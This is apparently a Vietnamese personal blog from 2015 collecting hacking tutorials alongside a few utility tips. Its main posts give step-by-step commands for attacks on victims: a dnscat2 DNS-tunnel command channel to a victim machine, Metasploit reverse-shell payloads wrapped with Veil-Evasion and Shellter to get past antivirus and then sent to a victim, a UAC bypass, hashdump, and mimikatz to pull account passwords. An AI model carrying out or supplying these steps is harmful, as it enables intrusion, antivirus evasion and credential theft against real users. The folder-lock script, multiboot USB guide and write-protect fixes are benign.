Thứ Ba, 14 tháng 7, 2015

dnscat2 tạo đường hầm truyền dữ liệu bypass firewall

1. trên máy chủ linux, có khả năng truy cập được internet.
2. máy chủ chạy ubuntu, sử dụng quyền root, chạy các lệnh sau:
# apt-get update
# apt-get -y install ruby-dev git make g++
# gem install bundler
# git clone https://github.com/iagox86/dnscat2.git
# cd dnscat2/server
# bundle install
3. di chuyển đến folder vừa cài, chạy lệnh
            # ruby ./dnscat2.rb (# ruby ./dnscat2.rb abc.com //nếu có đăng ký một tên miền, có tên miền thường nhằm mục đích dễ đánh lừa firewall hơn)
            sau khi chạy dnscat2 server thì trên server sẽ lắng nghe trên port 53, lắng nghe phản hồi từ dnscat2 client từ nạn nhân
4. nếu máy nạn nhân chạy windows, chúng ta download dnscat2 client tại đây
5. trên máy windows nạn nhân chạy lệnh
(dnscat2-win32.exe abc.com)
 Trong đó địa chỉ ip trên là địa chỉ của dnscat2 server.
6. ngay sau nạn nhân chạy lệnh trên, thì bên dnscat2 server sẽ thông báo rằng đã nhận được kết nối từ nạn nhân
# ruby ./dnscat2.rb (# ruby ./dnscat2.rb abc.com)
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059
dnscat2>
7. lúc này kẻ tấn công đã kiểm soát được máy nạn nhân, và có thể thực thi lệnh tùy ý ví dụ như chạy notepad…
dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec notepad.exe
Sent request to execute
dnscat [command: 16059]>
dnscat2 còn hỗ trợ download, upload file đến máy nạn nhân.
Lúc này nếu chúng ta bật wireshark lên để kiểm tra sẽ thấy, mỗi một truy vân dns đều kèm theo một số các lưu lượng không bình thường trong đó, chính vì vậy mà đã qua mặt được firewall(đa số các firewall đều cho truy vấn và nhận phản hồi dns)
8. Cách phòng chống:
Chúng ta có thể hạn chế bớt lưu lượng truyền đi trên một đơn vị thời gian nào đó, chỉ cho phép các truy vấn và nhận phản hồi dns đến các hệ thống dns đáng tin cậy

Thứ Năm, 9 tháng 7, 2015

Burp suite Công cụ bảo mật đặc chủng

Phần 1

Phần 2

Phần 3

Hiển thị mật khẩu máy tính từ xa

1.
msfvenom -p windows/meterpreter/reverse_tcp LHOST="ip attracker" LPORT="port lắng nghe" -f exe > /root/Desktop/crack.exe
2. download veil-Evasion về, sau đó chạy nó lên. cái này để bypass AV.
3. list để xem danh sách các kiểu khai thác
4. use 14 để chọn native/backdoor_factory.
5. thực hiện các lệnh sau:
set LHOST “ip attracker”
set LPORT “cổng lắng nghe”
set orig_exe /root/Desktop/crack.exe
generate

6. nhấn enter sẽ thấy một số file được tạo ra dạng như thế này:

7. copy file payload.exe ra khỏi màn hình, sau đó mở metasploit
8. 
use exploit/multi/handler
Set PAYLOAD windows/meterpreter/reverse_tcp
Set LHOST “ip attracker”
Set LPORT “cổng lắng nghe”
Exploit
9. gửi file payload.exe cho nạn nhân, khi nó chạy thì mình khai thác thành công.
10. hashdump
11. background
use exploit windows/local/bypassuac_injection
set SESSION 1
set LHOST “ip attracker”
exploit
16. đến đây thì đã xong, nhưng có cái mimikatz này lạ lạ,
17. load mimikatz
18. help mimikatz để xem hướng dẫn
19. thử 1 cái xem
msv
Hiện ra được tất cả các tài khoản có cả password của máy nạn nhân, nhưng ở dạng hash LM hoặc NTLM, giờ thì chỉ việc giải mã hash đó là xong.
Hoặc dùng lệnh 
kerberos 
để hiển thị luôn password.

Một cách lock folder không có gì là mới, nhưng cũng dui.

Copy hết cục ni paste vô notepad, lưu với file .bat, rồi test thử thôi.
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End

:End

Thứ Ba, 7 tháng 7, 2015

Boot nhiều hệ điều hành trên 1 usb

1. Truy cập link http://www.liveusb.info/multisystem/depot để biết source....
2. apt-get update
3. apt-get install multisystem
4. leafpad /usr/local/share/multisystem/gui_multisystem.sh

Thêm dấu # ở chỗ:

5. chạy multisystem
6. chọn usb rồi click confirm
7. tại tab ms của multisystem kéo file iso mà mình muốn tạo vào, và chờ cho nó chạy xong, 

tương tự có thể add thêm file iso của các os khác vào. Vậy là có 1 usb boot nhiều os…

Bypass antivirus sử dụng shellter trên kalilinux

Các bước thực hiện:
1. chuẩn bị một file thực thi .exe, để trong một thư mục hoặc ngoài màn hình, di chuyển đến thư mục đó và làm các bước kế tiếp.
2. apt-get update
3. apt-get install shellter
4. mở metasploit bằng lệnh msfconsole.
5 use payload/windows/meterpreter/reverse_tcp
6. set LHOST là ip máy attracker
7. thích thì set luôn lport
8. show encoders để lựa chọn “ứng dụng” để thực hiện “xáo trộn” code
9. generate –e x86/shikata_ga_nai –t raw –f met . lúc này sẽ có 1 file có tên là met được tạo ra
10. use exploit/multi/handler
11. set PAYLOAD windows/meterpreter/reverse_tcp
12. set LHOST
13. set LPORT
14. exploit
15 di chuyển đến thư mục có chứa file exe(nếu hiện tại chưa ở đúng vị trí) và chạy lệnh  Shellter. Shellter sẽ được mở lên dưới dạng cli
16. a
17. điền tên file mã độc .exe, quá trình sẽ tạo ra thêm file bak và file .dll
18. met , nếu kết thúc mà báo lỗi thì quay lại bước 15 và làm lại.
19 sau khi chạy xong, file exe đó bây giờ đã bị dính mã độc, gửi nó cho nạn nhân, khi được thực thi ở máy nạn nhân thì quá trình khai thác ở meta thành công.
Note: sau một thời gian, các phần mềm AV đã được cập nhật, và chỉnh sửa thì sẽ nhận biết được, nên không còn giá trị hữu dụng nữa, và chúng ta nên tìm một cách khác hay hơn.

Thứ Hai, 6 tháng 7, 2015

4 cách để giải quyết khi usb bị Write Protection

1. Registry.

copy cái này vào notepad và lưu lại thành file .bat, để chạy khi cần.
    cd\reg add “HKLM\System\CurrentControlSet\Control\StorageDevicePolicies” /t Reg_dword /v
WriteProtect /f /d 0
khi chạy file xong phải reboot mới được
hoặc có thể vào trực tiếp registry mà sửa. giá trị writeprotect từ 1 thành 0.

2.  Nếu bị nhiễm virus 9u.exe (là loại virus làm cho thiết bị lưu trữ của mình bị lỗi như vậy).
- Tải OnLineRecovery.exe về, và chạy nó lên.
- Xác định dung lượng cho thiết bị lưu trữ.
- Chọn “repair and erase all data” hoặc ” repair and keep existing data”
- Bấm start.

3. Dùng diskpart trong windows để fix.
  Run-->diskpart-->list volume--> select volume ...--> attributes disk clear readonly.
4. Dùng policy.
vào gpedit-->Computer Configuration -> Administrative Templates -> System -> Removable Storage Access. Sau đó chọn enable
Removable Disks: Deny execute access
Removable Disks: Deny read access
Removable Disks: Deny write access